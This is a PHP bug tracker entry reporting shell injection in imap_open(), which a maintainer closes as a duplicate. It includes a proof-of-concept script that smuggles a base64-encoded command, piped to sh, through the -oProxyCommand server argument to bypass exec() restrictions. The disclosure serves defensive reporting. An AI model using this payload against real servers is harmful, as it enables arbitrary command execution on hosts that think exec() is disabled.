|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #77160 Script injection in imap_open()
Submitted: 2018-11-15 09:09 UTC Modified: 2019-02-21 05:11 UTC
From: hanno at hboeck dot de Assigned: cmb (profile)
Status: Duplicate Package: IMAP related
PHP Version: 7.2.12 OS:
Private report: No CVE-ID: None
 [2018-11-15 09:09 UTC] hanno at hboeck dot de
I just saw this posted on reddit and wanted to make sure PHP takes note, I haven't found it mentioned in the bug database yet:

It seems imap_open() has some kind of shell injection. This is advertised as an exec() bypass if exec() is not allowed, however I could also imagine this opens up a security problem in case you have any kind of imap frontend that allows users to configure their own server.

Likely the input to the function should be properly sanitized.

Test script:
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2018-11-15 10:39 UTC]
-Status: Open +Status: Duplicate -Assigned To: +Assigned To: cmb
 [2018-11-15 10:39 UTC]
Thanks!  This has already been reported as bug #77153, though.
PHP Copyright © 2001-2023 The PHP Group
All rights reserved.
Last updated: Sat Mar 25 04:03:38 2023 UTC